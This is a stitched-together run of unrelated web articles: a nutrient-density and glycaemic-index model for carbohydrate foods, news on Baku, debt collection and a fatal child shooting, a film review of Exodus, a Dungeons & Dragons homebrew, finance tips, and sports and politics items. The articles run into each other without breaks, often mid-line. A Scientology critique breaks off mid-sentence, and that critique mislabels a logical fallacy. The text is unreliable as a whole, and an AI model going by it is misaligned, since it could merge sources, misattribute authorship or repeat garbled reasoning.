The model assesses the nutritional quality of carbohydrate-rich foods based on their nutrient density and glycaemic index. Nutrient density was chosen as it reflects the fundamental nutritional role of food – to provide the body with essential nutrients. Glycaemic index was included as it captures how the body responds to the carbohydrate per se. Both measures were thought to be objective and therefore applicable to all carbohydrate-rich foods and drinks. Subjective measures of nutritional quality were avoided e.g. whether foods were natural, fresh, traditionally considered healthy, processed or ‘junk’. The challenge was to demonstrate the nutritional quality of foods.
All results were plotted on the grid that appears in Figure 1, which is broken up into four carbohydrate quality quadrants. Quadrant 1 (high nutrient density, low GI) was considered to be the highest quality quadrant. Quadrant 4 (low nutrient density, high GI) was the lowest quality quadrant. To distinguish between the two intermediate quadrants nutrient density was prioritised over GI.
Figure 1:
The model showed considerable capacity to distinguish between groups of carbohydrate-rich foods. Of particular interest was whether the model was consistent with the dietary advice frequently offered in relation to these food groups. When legumes were run through the model they clustered in Quadrant 1– the highest quality quadrant, which was certainly consistent with the advice in most dietary guidelines (Figure 2).
Figure 2
Milks and yoghurts appeared in the top quality quadrant too. The nutrient density of these dairy foods varied considerably due to the ‘nutrient dilution’ effect of the fat and sugar in some of these foods, but they all still appeared in Quadrant 1. In contrast, soft drinks, confectionery, honey and jam appeared in the lowest quality quadrant. Again, this was very consistent with mainstream dietary advice. So far, so good.
Fruits – a surprise
The model highlighted a few issues that might surprise some nutritionists. Firstly, fruits were not positioned as a tight group in one particular quadrant but were widely dispersed, mainly across Quadrants 1 and 3. In other words, the GI of fruits was typically low but nutrient density varied widely. Although fruits are often described as being nutrient-rich foods, some fruits such as apples, pears and grapes are actually quite nutrient-poor. The nutrient density of apple juice was similar to that of orange cordial. So fruits vary widely in their ability to provide the distinctive nutrients that this group of foods has to offer, though the generally low GIs are a plus.
Cereals – a conundrum
The cereal foods were also widely dispersed, being spread over all four quadrants but they were more concentrated in Quadrants 2 and 4, highlighting major differences in nutrient density. To make sense of the cereal foods I have divided them up into four groups (Figure 3):
• Biscuits, cakes, pastries
• Refined cereal foods (not enriched) – white rice, couscous, polenta, semolina
• Wholegrains (not enriched)
• Enriched cereals foods – breads and breakfast cereals
Figure 3
The model placed biscuits, cakes and pastries exactly where you would expect to find them – clustered in Quadrant 4, the lowest quality quadrant. This is consistent with traditional healthy eating advice to limit intake of these foods. But look where the model placed white rice, couscous, polenta, semolina – in virtually the same place. [Actually, the biscuits, cakes and pastries appear marginally to the left, their sugar and fat content resulting in a little ‘nutrient dilution’. However, refined cereal foods are so low in nutrients to start with that this effect is minimal.]
Until recently, white rice, couscous, polenta and semolina would have been preferred to biscuits, cakes and pastries on the basis of the latter foods’ higher saturated fat content. However, if high GI carbohydrate confers equal (or greater) risk for heart disease than saturated fat, this rationale no longer holds.
The next surprise was the relatively low nutrient density of non-enriched wholegrain foods. They were certainly more nutrient-rich than the refined cereals, notably the wholegrain wheat and oat products, but brown rice was positioned deep in the lowest quality quadrant. Wholegrains are frequently described as being nutrient-dense, but this is simply not the case.
The breads and breakfast cereals mostly fell in Quadrant 2, their nutrient enrichment predictably resulting in higher nutrient densities. The sugar content and the wholegrain status of breakfast cereals were unrelated to nutrient density as this was determined by nutrient enrichment.
What cereal foods should be recommended?
The Dietary Guidelines for Americans (2010) recommended that wholegrain and enriched cereals be included in healthy diets. The logic is clear – the wholegrains provide the fibre in under-supply in the American diet and the enriched cereals provide micronutrients. These recommendations are certainly consistent with our new model.
There is no dispute that biscuits, cakes and pastries should be limited – these foods carry plenty of calories but are nutrient-poor and many have high GIs. In nutritional terms, they have no redeeming features and are logical targets for reduction in healthy diets. However, all of these comments can equally be applied to white rice, couscous, polenta and semolina. Why do Australian nutrition authorities continue to recommend these foods in healthy diets? Doesn’t make sense.
What are your thoughts? How much cereal food should people eat? What type? And why?By Amina Nazarli
Baku, which hosted the inaugural European Games in 2015, may bid for the 2024 Summer Olympic Games.
The issue is reflected in the draft concept of socio-economic development of Azerbaijan for 2017 and subsequent three years, which was submitted to the Parliament.
The city twice fought for the right to host the Summer Olympic Games, but both applications for 2016, and 2020 Games were defeated.
Rome, Paris, Boston and Budapest are already in the running to stage the 2024 Olympic Games. The winner will be announced after voting at the IOC's conference in Lima, Peru, in September 2017.
Youth and Sport Minster Azad Rahimov recently said that holding of various major sporting events for Azerbaijan is a step towards the Olympic Games.
Indeed, in 2016 the country welcomed a caravan of competitions, including 2016 UEFA European Under-17 Championship finals, Formula 1 European Grand Prix, FIDE World Chess Olympiad, FIG World Cup final and etc, leaving an unforgettable sporting year for sport fans.
The 4th Islamic Solidarity Games scheduled for May 2017 will also be the great event hosted by the country. Moreover, Baku streets will once again welcome exciting sport cars within Formula 1 race, which the country has committed to host for five years.
Previously it was revealed that, the draft document stipulates allocation of funds for creation of new sports facilities in the country.
The draft law "On state budget of Azerbaijan for 2017" envisages allocation of 330.3 million manats (about $193 million) for the construction of sporting facilities in the years to come.
In 2018, the figure will be in the amount of 16.7 million manats ($9.7 million), in 2019 -- 21.7 million manats ($12.6 million) and in 2020 the amount will be 23.9 million manats ($13.9 million).
The Azerbaijani Parliament will launch discussions on the draft 2017 state and consolidated budgets next week. President Ilham Aliyev submitted the final version of the budgetary package to the Parliament on November 16, 2016.
--
Amina Nazarli is AzerNews’ staff journalist, follow her on Twitter: @amina_nazarli
Follow us on Twitter @AzerNewsAzSpread the love
101 Shares
In 2009, the FTC (Federal Trade Commission) reported to have received about 119,549 complaints from borrowers suing creditors and third-party debt collectors for violation of their consumer rights.
In this article, let’s discuss some of the grounds for complaint as stated in the Fair Debt Collection Practices Act (FDCPA):
Harassment and threats.
If your collector is guilty of using obscene or profane language, threats, or false claims to force you to pay, then you should definitely take action and file a complaint to the FTC.
Name calling is something that can be reported to the FTC and Attorney General. But if its just name calling you won’t have much of a case unless you tape the conversations and the name calling is truly offensive and obscene.
Just keep in mind in some states you have to tell the collector that you are taping the conversation or the tape won’t be admissible in court.
Calling during off hours.
According to the FDPA,calls for the purpose of collecting on a debt can only be made between the hours of 8 a.m. to 9 p.m your time. Doesn’t matter if you are on the East coast and they are on the West coast.
If a call is made earlier than 8 am or later than 9 pm, it is a direct violation of the law unless the borrower gave his/her consent to be called upon during those hours.
It’s up to them to figure out your time zone. If for instance their last known address for you was on the West coast and you kept your old number. You must advise them when they call that you are no longer on the West coast. You DO NOT need to update your address at this time. You can be vague and just say you are now living on the East coast and they are calling outside of the legal calling times.
Just keep in mind at some point you will need to give them your current address so they can send you proof of the debt.
Disguises and lies.
Creditor and debt collectors are not allowed to represent their companies as part of another entity or a government organization to force payment.
Other unfair practices.
If debts have already been settled or paid, then a debt collection agency must not make any more attempts to collect. Some debt collection agencies may try to collect debts older than 7 years or paid debts from unsuspecting consumers. This is why it’s very important to validate the facts first before dealing with a debt collector. More information about your Rights Under The Fair Debt Collection Practices Act.
Empower Your Case
Is your creditor or debt collector guilty of a violation? If yes, what can you do? You can file a formal complaint to your State Attorney’s General Office and the FTC. Although the FTC does not directly respond to individual complaints, it has the power to completely shut down a company after receiving a sufficient number of complaints from consumers.
Before filing a complaint, make sure that it is valid. When a debt collector tries to contact you for the first time, ask the exact name of the person who is calling you, the agency he or she represents, the original creditor or account, as well as the day and time of the call.
Request the debt collection agency to send you a written notice so you can validate the information. You need to make sure that the payment being collected from you is accurate and that you are not being made to pay for debts that are not yours.
It is also recommended to record telephone conversations and other forms of correspondence between you and your debt collector so you will have solid proof in case the collector commits a violation of the FDCPA.Copyright by WBTW - All rights reserved Photo from Mason Powell Funeral Expenses GoFundMe page.
Copyright by WBTW - All rights reserved Photo from Mason Powell Funeral Expenses GoFundMe page.
COWARD, SC (WBTW) - A child accidentally shot and killed a 12-year-old Tuesday afternoon in Coward, according to Florence County coroner Keith von Lutcken. A second child was injured, he said, and taken to the hospital.
On Wednesday, Florence County coroner Keith von Lutcken identified the child accidentally killed as Mason Powell of Coward.
The coroner said it happened in a house on Circle Drive.
The shooter was 11 years old, said Florence County deputy Glen Kirby. Investigators have not released the identities of the shooter or the other victim.
An autopsy is scheduled for the 12-year-old on Thursday morning.
A GoFundMe page has been started for the family to cover the funeral expenses.
"Mason was a child that was full of life. He loved god, his family and friends. Mason was a blessing to every person that ever met him. While playing with friends he was in a tragic accident that took his precious life way to soon," the page says.
Count on News13 to continue following this story as additional details develop.Exodus –the story of Moses–proves beyond a shadow of a doubt that atheists make the best Bible movies (see my review of Noah). I don’t know that atheists necessarily make the best contemporary movies about faith or people of faith, but they certainly do the oldies well.
Perhaps this is in part because they mine an amazing text/source that believers might take at face value and/or are afraid to delve to deeply into. Also, atheists are hungrier than us spoiled, slothful believers who take everything for granted.
Simply having faith doesn’t mean we have mastered the human depths of a Bible figure’s journey. That’s pretty much open to anyone. To do a Bible story well, an atheist filmmaker must suspend their own disbelief and ask “what if”? I think Ridley Scott has done that here.
Like a Boss. Like Bosses.
Does Christian Bale pull it off as Moses? Oh yeah. At first, I disliked his trim little facial hair and cropped-but-artfully-tousled hair that didn’t look like it fit the era, but it leaves him room for growth and aging.
Ramses is played by the unearthly, superlative, uber-uber Joel Edgerton. Edgerton plays Ramses (backstory: unaffirmed by his father) with complexity: a royal that is weak, sniveling, and yet utterly ruthless and driven at the same time. (He reminded me a bit of the dauphin in “Joan of Arc” with Ingrid Bergman.)
Bale is Welsh and Edgerton is Australian, and it just shows. Americans are too American and the British are too British. I’m really digging these other-accented male actors (include New Zealanders) for the Big Roles (although Brooklyn-born John Turturro as Seti, Ramses’ father, made me forget all his other, often humorous, deeply American roles).
Flaws and Applause
In general, this is a well-made film, part of a new generation of Bible films. I am thrilled that our visually-oriented youth are being treated to these nouveau masterpieces. Most young people have not seen any of the older Bible films or lives of Christ.
The special effects are phenomenal–nothing new that we haven’t seen in recent years, but it’s still awesome to see it applied to Bible stories–and it does pay to see Exodus in 3D. The dialogue is rather minimal–and once in a brief while unintentionally laughably simplistic or expository–but the great
Ridley Scott mesmerizingly pulls us through visual sequence after visual sequence of battles and plagues. I’m not usually one for epic films with wars and lots of noise and action, but Scott is a genius and is really moving the story ahead through the action-reactions of characters to these grandiose, sweeping events.
There are a few scenes that could have been re-shot. The actors looked like they were trying to remember lines, weren’t sure how to play the scene, or it just wasn’t their best take. Dude. Just reshoot.
But these are my only complaints. It’s a great film.
Ancient, Yet Contemporary
Although the Bible is an “ancient” text about ancient times and peoples, human nature doesn’t change, and so Exodus has a contemporary feel. I could totally relate to Moses as he struggled to relate to God.
I loved seeing this incredible, incredible man of God questioning, fighting with and arguing with God. Remember, Moses saw God. He did so many epic things like, oh, leading the Hebrew people to freedom after four hundred years of slavery, parting the Red Sea, the Ten Commandments, etc., etc. But I love how the film starts him off as a skeptical, practical man with no faith.
God
The film has ample room for God as a huge player, a huge character. In fact, God makes it abundantly clear that once Moses has obeyed (a very creative, two-way-street type of obedience), God will do everything. In a colossal way.
There are no other explanations for why the cataclysms visit the mighty Egyptian empire. It reminds me of a quote of Blessed James Alberione: “Always start from a stable, start in Bethlehem, because God wants to show that it is He who is doing everything. Those who begin the works of God with money are naive.”
This larger-than-life drama of the Exodus is faithful to Scripture (with some poetic license as it should have, but not as rock-and-roll as “Noah”), and although this event is so foundational for the Jewish people, it is also our foundation as Christians. As Pope Pius XII said, “Spiritually, we are all Semites.”
I couldn’t help thinking of the Easter Vigil liturgy and Fathers of the Church that rely so heavily on the imagery of the Exodus for celebrating Baptism and the Redemption: freedom, transformation through water, the Passover.
The supposed cruelty, arbitrariness, and unreasonableness of God is also dealt with–and not just that of the Hebrew God, but that of the gods of other peoples in the region. That there IS a diety(ies) is assumed, taken for granted, obvious, almost unquestioned. But just what this God is like is hotly debated: “What kind of God would…?” Would that we had these same questions today!
Theology of the Body?
This is a very male movie. Women barely play a part.
Sigourney Weaver is miscast as the young pharaoh’s mother, Miriam has two small (albeit significant) scenes. Zipporah, Moses’ wife, is truly the love of his life, but we see so strongly how faith, leadership, the direction of tribes, nations and history is patriarchal.
As I will always maintain, patriarchy–although a system massively open to massive abuse–is not evil, and in a certain sense, God has ordained and used this system throughout salvation history (it’s also deeply rooted in simple biology but has nothing whatsoever to do with superiority–just a different task in life than women).
It is up to men and women (with the onus on women) to bring to light and emphasize the unique identity, heroism and essential contribution of women throughout history and salvation history. And we do not have to do this in a strident way, just a firmly insistent, truthful, and complementary way.
It is up to us women to read the Bible with women’s eyes and see all the amazing strong women of God everywhere in the Bible–and imitate them. And yes, much of this revolves around motherhood and the protection of vulnerable human life (um, what could be more noble and important)? Men, too, are called to protect vulnerable life, but they do it in a different way.
Moses’ mother, his sister and Pharaoh’s daughter are directly responsible for saving Moses’ life as a baby. Liturgists have often commented what a tragedy it is that the story of the Hebrew midwives in Egypt is not included anywhere in our liturgical readings! (Exodus 1:15-21)
One more word about patriarchy and the absolute need for good men. For good men to lead. When good men lead, women and children flourish.
Just before the Synod on the Family, a very good man (who leads) said this: “I hope they start the Synod with ‘the father.’ Because if there is not a good father in the family, he will not do the right thing, and the children won’t know right from wrong. He must imitate St. Joseph when it comes to his wife, and their marriage has to be Christ-centered.”
I hope that men in particular will feel called to a deeper, truly masculine relationship with God through this film.
A Prayerful, Catechetical, Exegetical Experience
I hope audiences will sit back and consider their own wrestling with God, their own prayer life, their own dilemmas and choices alongside those of Moses. Enter into the story with their own story. I received tremendous insight through this film.
Many years ago, I was told by a Jesuit spiritual director that I could “negotiate” with God. “What?!” said I. “What do you think Abraham and Moses did?” he asked me. This conversation changed my life and my relationship with God forever.
Of course, the Jews already understand that as they have continuously and intimately wrangled with God and kept their conversation with him going for millennia: collectively and individually.
This bargaining with God is not meant to be a venal begging for things or circumstances that we want, but as intercession for the good, for others, to become better people ourselves. Although not all of Moses’ life is covered in this film, I was reminded of him so often “standing in the breech” for others.
There’s a touching and tender scene regarding the Ten Commandments where it is evident that Moses is still free at every step to agree or disagree with God. And of course, by this time, the fiery Moses had become “by far the meekest man on earth” (Numbers 12:3).
Faith and Love
There is much explicit talk about “faith” in this film, but little about love (beyond familial love). Of course, for men, love is often summed up in silent deeds. If a man loves you, he’ll mow the lawn and fix your car but never think to say: “I love you.” Again, think St. Joseph who says exactly nothing in the Bible.
I wonder if Scott was toying so much with faith that he forgot about the great love of God for Moses and Moses for God that motivated everything. Or maybe it is just implied. At UCLA, we were taught that in all good screen love stories, “I love you” must be shown in a plethora of different ways whether or not it is ever voiced.
The story of God and Moses is nothing if not a love story amongst God, Moses and “his people.”By Peter Bowditch
Scientologists argue against the existence of the mind, and therefore mental illness.
Some time ago I attended a dinner function where the speaker was advertised as coming to talk about philosophy and the mind. I spent some enjoyable times studying this sort of stuff at university, so I looked forward to an entertaining evening.
The presentation started out with a mention of how René Descartes had proposed the still-unsolved problem of the interaction between a material body and an immaterial mind. The speaker then went on to solve the duality problem by simply declaring that there is no such thing as a mind: an interesting, although rather naïve, philosophical position.
The next statement led into uncharted waters, declaring that as there’s no such thing as a mind there can be no such thing as mental illness. Well, it was an uncharted area for anyone who hadn’t met Scientology before. He appeared to be using the syllogism:
mental illness requires a mind;
there is no such thing as a mind; and
therefore there can be no such thing as mental illness.
This is a logical fallacy called Modus Tollens, specifically a subset of fallacies that come under the heading: “Denying the Antecedent”. If you start with an axiom that there is no such thing as mental illness then the non-existence of the mind becomes a convenient piece of evidence supporting your position.
I may well have been the only person in the audience who has had anything to do |
Ocean Heritage
Your heritage ties to powerful creatures of the sea, such as nereids, the lords of the merfolk, and elemental powers. Like a river, you feel the call of the ocean. The call is ever present in your heart, and you are never completely at peace until you are near the sea.
Ocean Origin Spells
Sorcerer Level Spell 1st create or destroy water 3rd moonbeam 5th tidal wave 7th watery sphere 9th maelstrom 11th globe of invulnerability
The Ocean Origin Spells are for use with u/SwordMeow's Tweaked Sorcerer, which is linked in the credit section. If you plan to play the PHB sorcerer, ignore the Ocean Origin Spells.
Soul of the Sea
At 1st level, your tie to the sea grants you the ability to breathe underwater, and you have a swim speed equal to your walking speed. You're also naturally adapted to frigid water, as described in chapter 5 of the Dungeon Master's Guide.
Drench
Starting when you choose this origin at 1st level, your mere spells can soak their target in water. When a creature fails a saving throw against a spell of 1st level or higher that you cast, you can use a bonus action to have one creature that failed the saving throw have its speed halved until the beginning of your next turn.
Scald and Sleet
At 6th level, you can manipulate water to further harm your foes. Whenever a creature would become affected by Drench, you can spend 2 sorcery points to choose one of the following additional effects:
Scald. The water becomes scalding hot as it drenches the creature, who takes an additional 2d8 fire damage.
Sleet. The water freezes on contact, the creature's speed is reduced by 10 feet, and they cannot use reactions until the beginning of your next turn.
Home at Sea
Also at 6th level, your attunement to the sea allows you to navigate it with ease. When you make an ability check with a vehicle (water), you can do so with advantage. Additionally, while at sea, you have advantage on any Wisdom (Survival) checks you make relating to the sea.
Shifting Form
Starting at 14th level, you gain the ability to enter a liquid state while moving.
When you move on your turn, you only take half damage from opportunity attacks, and you can move through an creature's space but cannot willingly end your turn there.
On your turn, you can move through any space that is at least 3 inches in diameter and do so without squeezing. When you stop moving, the regular squeezing rules apply if you're in a space one size smaller than you. You can't willingly stop in a space that is smaller than that, and if you're forced to do so, you immediately flow to the nearest space that can fit you, back along the path of your movement.
Into the Roil
Starting at 18th level, you can call the ocean to propel a creature into the air. As an action on your turn, you can spend 5 sorcery points to begin creating a waterspout at a point within 60 feet of you. You create a 20-foot-radius sphere of churning water. Creatures inside the sphere at the time of its creation must make a Strength saving throw or become affected by the Drench feature.
At the beginning of your next turn, all creatures inside of the sphere must make a Strength saving throw as the churning water shoots skyward. On a failed save, a creature is thrown 100 feet into the air, and is thrown half as far on a successful save. If a creature impacts with a solid object as it is thrown upwards, calculate the damage it takes as if it was taking fall damage.
Credits Created by u/Rain-Junkie. More of my work can be found here.
u/SwordMeow for his Tweaked Sorcerer.
Link to artwork can be found here.
Made using Homebrewery.
Special thank you to the Discord of Many Things for all their help!You’re a new grad, maybe in a new city with a new job, apartment and friends. But not all the new things about postgrad life are fun and sparkly; you likely have a new debt to deal with, too.If you graduated in May, your first student loan payment will probably come due next month. And if you’re like a lot of recent graduates, you’re craving some structure amid all the newness. Follow this three-step plan to help you start chipping away at your student debt.
Step 1: Become an expert on your own loans
Start with the basics. You should be able to answer the following questions about your student loans to best know how to tackle them:
Who is your federal loan servicer?
How much do you owe total and what are your interest rates?
How much do you owe each month and when is your first payment due?
Find this information about your federal loans by logging into your Federal Student Aid account or checking with your loan servicer. If you have private loans, contact your lender.
Step 2: Budget for your monthly payments
A depressing reality of postgrad life is that you’ll need to make room in your budget for your student loan payments. Plan to pay the minimum amount due every month to keep your credit in good shape. Another tip: Set up autopay. In most cases, you’ll get a 0.25% interest rate discount for automating your payments.It’s also a good time to figure out how your student loan payments will fit into your overall financial picture. Based on the 50/30/20 budgeting strategy, you should spend about 50% of your take-home earnings on needs, including your minimum student loan payments, rent and other necessary bills.
Step 3: Income too low? Adjust your payment plan
If your student loan payments eat up too much of your paycheck, switching to an income-driven repayment plan may be what you need. The plans base your minimum federal loan payment on your earnings and can lower your payments; depending on your income, you may not be required to pay anything. It sounds like a no-brainer, but keep in mind that they also increase the amount of interest you’ll pay in the long run.If an income-driven plan makes sense for you, it’s free to sign up through the Department of Education. Apply on the Federal Student Aid website to get started.
Next steps
Once you get into the groove of making your monthly payments, check out ways to save money on your student loans:
Refinance your student loans to save money in interest. You’ll likely qualify if you have good credit and a high income compared to your other financial obligations.
Get federal loan forgiveness based on your employer or occupation. For instance, you’re eligible for Public Service Loan Forgiveness if you work for the government or a nonprofit.
This article originally published at NerdWallet hereYour browser does not support iframes.
A Seattle Mariners fan made a smart trade on Tuesday night, giving up about half a tub of popcorn for a foul ball off the bat of Angels infielder David Friese.
Popcorn is delicious, but no one really needs a full, ballpark-sized tub of popcorn. You’re sick of popcorn long before it’s done, and you just wind up eating popcorn because it’s there and it’s something to do. Plus, you can just go home and have popcorn if you want more, since popcorn is super cheap when you buy it anywhere outside a stadium or a movie theater. And you don’t have the option of catching foul balls in your microwave, unless of course you bring your microwave to ballgames. And even then it’s unlikely.Former Greek finance minister says those who are most critical of Europe have a moral duty to stay in Europe, fight for it, and democratise it
Yanis Varoufakis, the former Greek finance minister, has called on Britons to vote to remain in the European Union in the upcoming referendum.
The bête noire of the European political elite was speaking at a Guardian Live event at Central Hall in Westminster, central London, on Friday night.
He said: “You have a referendum coming up. My message is simple yet rich: those of us who disdain the democratic deficit in Brussels, those of us who detest the authoritarianism of a technocracy which is incompetent and contemptuous of democracy, those of us who are most critical of Europe have a moral duty to stay in Europe, fight for it, and democratise it.”
But Varoufakis also likened the eurozone to a sausage: “If you knew what was in it, you wouldn’t touch it.”
He revealed to the sold-out audience that he believed the Syriza party had called the referendum in Greece hoping it would be lost.
The referendum to decide whether Greece should accept the most recent bailout conditions proposed by the European commission, the International Monetary Fund and the European Central Bank took place on 5 July.
“Why did Syriza fail? There was a war of attrition against us. They were essentially asphyxiating us – it was a kind of fiscal waterboarding,” Varoufakis said.
“Exiting the euro was never part of our repertoire. Our objective was to resist within the eurozone until the costs of applying the fiscal waterboarding became greater than the benefits.
“Part of the debt which was written in Greek law so we could be tried in Greek court – one occasion when inefficiency could be a godsend.
“When they shut down the banks, I reminded my colleagues, my comrades, that we would unleash this weapon that we had. But they vetoed it and they said no. At that point we surrendered.
“By the end of June my colleagues had already decided to give in, and in a sense the referendum was called to be lost. It was an escape route. The hope was that the Greek people would vote yes. And the Greek people voted no.
“The Greek people were not subdued. I was surprised. I had expected a whole week of closed banks would bend the Greek people to the troika’s will. I was elated that night. It was one of the happiest moments of my life. Unfortunately my side, the Greek government, collapsed and surrendered.”
Varoufakis said the European leaders wanted to send a message to its citizens: “If you elect a government that doesn’t toe the line, this is what you get.”
He urged the Labour leader, Jeremy Corbyn, to follow the example of former Labour prime minister Harold Wilson and weld socialist values to technological change, describing it as: “Not the white heat of technology but the cool breeze of Green technologies.”
Varoufakis drew the loudest applause of the evening when he told the audience that the Greek people ignored their media despite warnings of Armegaddon if they voted for Syriza.
“This is the greatest revenge you can enact upon the media,” he said.The fifth season of HBO’s Game of Thrones is not going to have its best-known writer. Thrones author George R.R. Martin won’t pen an installment of the hit fantasy series next year, breaking a tradition that has spanned the first four seasons.
Before you get too upset, however, here’s the author’s reason: He wants to focus on writing the eagerly awaited sixth novel in his Song of Ice and Fire saga, The Winds of Winter. As fans are very much aware, Thrones is quickly catching up to the author’s storyline, with season 5 mining material from his fourth and fifth novels in the saga.
Check out the video interview from Comic-Con below. EW sat down with Martin and a few cast members to talk a bit about where each of their characters left off and what they’re looking forward to.
For more of Thrones at Comic-Con, see the Thrones blooper reel and the season 5 cast changes.REDWOOD CITY — Dozens of friends and family members reacted with joy and relief Friday in a packed courtroom as Ronald Bridgeforth, who fled the state in 1969 after a gunbattle with South San Francisco police officers, was sentenced to one year in county jail and three years of probation.
Bridgeforth, who turned himself in last year after more than 40 years in hiding, had faced the possibility of five years in state prison. He is expected to serve just half his jail sentence.
In court, Bridgeforth apologized for the shooting and said he’s tried to atone for his crime. He spent the past 13 years as a counselor at Washtenaw Community College in Ann Arbor, Mich., where he said he devoted his life to inspiring and encouraging young people.
“My actions were misguided, reckless and they endangered everyone’s life,” Bridgeforth said of the shooting. “I had lost my way.”
Bridgeforth opened fire on two officers on Nov. 5, 1968, after he was caught trying to use a stolen credit card at a discount store in South San Francisco. He pleaded guilty to assault with a deadly weapon on a peace officer but disappeared before he could be sentenced.
Bridgeforth moved around for several years before settling down in 1975 in Michigan. He adopted the alias Cole Lee Jordan and raised two children with his wife, Diane, a lecturer at Eastern Michigan University, who attended Friday’s hearing.
Two students flew in from Michigan to speak on his behalf. One of them, Zachary Baker, said he was homeless and on the verge of dropping out when a school administrator suggested he meet with Bridgeforth. Their conversation changed his life. He’s now studying to be a social worker at the University of Michigan and volunteers with inner-city youth.
“Everyone I’ve helped and everyone I will help is a direct result of the influence Mr. Bridgeforth has had on my life,” said Baker, his voice shaking with emotion.
Judge Lisa Novak weighed Bridgeforth’s remorse and his service-directed life in Michigan against testimony from two officers who were nearly slain that day in 1968 when Bridgeforth fired several gunshots at them with a.38-caliber Smith & Wesson in a crowded parking lot. The District Attorney’s office claims Bridgeforth had ties then to the militant Black Liberation Army, an assertion the man’s attorney, Paul Harris, denies.
Retired Lt. George Baptista told the court Friday he ducked down in his police cruiser as Bridgeforth fired two shots at him, one shattering a rear passenger window and the other glancing off the roof of the car.
“It’s a miracle that no one was injured, a miracle that I wasn’t killed,” said Baptista, who claimed no animosity against Bridgeforth but nonetheless asked Novak to impose a state prison sentence.
The shooting in South San Francisco wasn’t the only time Bridgeforth ran afoul of the law. The fugitive returned to the Bay Area for a few months in 1971 after spending two years in Africa. The Attorney General’s Office charged him and several people in the fatal shooting of a San Francisco police officer in August 1971, but the charge was dropped last year. In November 1971, he was arrested for carrying a loaded firearm in a vehicle. He was released after giving police a false name.
And his time in Michigan may not have been entirely placid. Karen Guidotti, chief deputy district attorney, told the court Bridgeforth was reprimanded by Washtenaw Community College a few years ago for sexually harassing a colleague.
A report prepared by the Probation Department recommended a prison sentence for Bridgeforth, suggesting he hadn’t taken full ownership of the crime.
“He claims to have little memory of his actions in this offense,” the report said in part. “Instead, he attempted to present himself as somewhat of a martyr, who has already suffered numerous consequences while living on the run.”
Novak rejected the notion that Bridgeforth’s self-imposed exile was tantamount to punishment. On the other hand, she credited him for turning himself in and said she does not consider him a threat to public safety.
“You came out of the shadows after 43 years to ultimately take responsibility,” Novak said.
In addition to jail time, Novak sentenced Bridgeforth to three years of probation and 300 hours of community service, which will entail tutoring at-risk children in Alameda County, where he now resides. He must also pay a fine of $8,500.
Bridgeforth’s 82-year-old mother was one of roughly 100 people who showed up at San Mateo County Superior Court to support the one-time fugitive.
“I’m very glad it wasn’t worse than it was,” Neodros Bridgeforth said of her 67-year-old son’s sentence. “I thought it was very reasonable.”
Contact Aaron Kinney at 650-348-4357.It’s been a tradition in mixed martial arts that when the fight is over, it’s over. The combatants shake hands and may even have a drink together after the smoke clears on their bout. Lightweights Drew Dober and Nick Hein followed this tradition after their May 2014 bout in Berlin, but then things went a step further.
“I fought Nick Hein in Berlin, and he was a really great guy,” Dober recalls. “He invited me to his post-fight party and I showed up and met his family, one of which is his sister.”
You can probably see where this is heading, but maybe not. Dober and Hein’s sister Gloria hit it off, and all of a sudden the Nebraska native had forgotten all about losing a decision earlier that night.
“We exchanged numbers and we were talking daily after that,” he said.
The couple soon had their version of a first date, which consisted of five days in New York. As the end of 2014 approached, Dober had a fight scheduled with Jamie Varner in December, and Gloria flew out to Denver to stay for the training camp.
“She saw me at my worst,” he laughs, “and then I went out and saw her in Germany and we lived together for three weeks there. So living with each other for that long, we jumped in the deep end.”
Dober met his lady’s parents, and after proving that gentlemen still exist in this world by asking Gloria’s father for his blessing, the young man who had gone 15 minutes in the Octagon with Nick Hein asked Hein’s sister for her hand in marriage. She accepted, and the week after his most recent fight against Leandro Silva in Brazil, the two were married.
Yeah, your courtship and wedding story probably won’t even come close to topping that one.
“As it was happening, we both looked at each other and said ‘yeah, this is something we’re going to be telling everyone,’” Dober laughs. But what does his former opponent and current brother-in-law have to say about all this?
“He made mention of me being his brother-in-law on the taxi ride back to the hotel from the post-fight party,” said Dober. “I guess he saw how his sister and I hit it off, and he was super excited. He’s been super supportive.”
So is it safe to say a rematch is out of the question?
“It would make things extremely awkward for my wife.”
Indeed. Plus, the new Mrs. Dober will have plenty to be stressed about over the next ten days, as her brother fights Lukasz Sajewski next week in Berlin, while her husband returns to the Octagon on Saturday to face Efrain Escudero in Mexico City.
For the 26-year-old Dober, it’s the fourth consecutive fight in which he will be the proverbial “bad guy,” having fought Hein in Germany, Silva in Brazil, and Varner in Arizona. At least the Varner fight – which he won via first-round submission was in the States, but for the bout against Escudero, he will be on the road outside of the U.S. once more.
“I might be the only lightweight with a passport,” he laughs. “I love tough competition, and I’m okay with going into enemy territory because I’m going to keep doing what I’ve been doing and win the crowd. I want to put on the most fantastic fights and be put in the worst case scenarios and turn them to my benefit. I won the crowd over in Germany and Brazil, and I want to do the same thing in Mexico.”
Given his fighting style and competitive, yet respectful, spirit, that’s pretty much a done deal. He also picked up even more fans in March for the way he reacted to his no contest against Silva, which produced one of the most bizarre endings in UFC history. On the mat with his opponent in the second round, Dober was suddenly the victim of a horrible call by referee Eduardo Herdy, who called the fight, saying the American submitted. Replays showed no such tap out, and while many would have erupted in anger, Dober was cool and classy.
“It’s like getting pulled over when you did nothing wrong,” he said. “At first there’s confusion. Then you’re like ‘there’s gotta be justice.’ And when everything simmered down, I talked to (UFC President) Dana (White) and they were going to make an attempt for justice, so you’ve got to take the cards that were given to you. Life throws you curveballs.”
Thankfully, the Brazilian MMA Commission overturned the loss to a no contest and Herdy admitted his mistake. It didn’t erase the incident or give Dober a chance to fight Silva and try to put a win on his record, but he moved on.
“You put time and effort into a 12-week training camp and you had the ability to win taken away,” he said. “Now my options were a no contest or a loss and that was out of my hands. But you have to say ‘how do I improve from this?’ I’m 26 years old and there’s always going to be a tomorrow, right? So how am I going to make tomorrow better?”
Well, he got married a few days later, and that was a good start. He also put in a hard training camp with Team Elevation in his new home of Denver, and now all that’s left is to put everything together on Saturday night against Escudero and pick up his second UFC win. He’s positive that will be the case.
“I wouldn’t be fighting if I didn’t think positively about where my career is going to go,” Dober said. “My first two losses in the UFC were extremely unfortunate, but it was the same thing with the first two losses in the beginning of my career. I started off 1-2, but I’ve had a career with a lot of chances to learn and grow. I wear my heart on my sleeve and I go out there and try to put on the best fight possible, and now I want to start displaying my talents and rising to the occasion and getting that W. Working with Team Elevation, my skill set is increasing tremendously, and accompanied with my heart, I feel my next fights are going to be even more fantastic.”
As fantastic as the story of his courtship and marriage to the sister of a former opponent? That’s going to be a tough one to top.A prominent member of Kenya’s cabinet has threatened to crack down on citizens who use Twitter for hate speech.
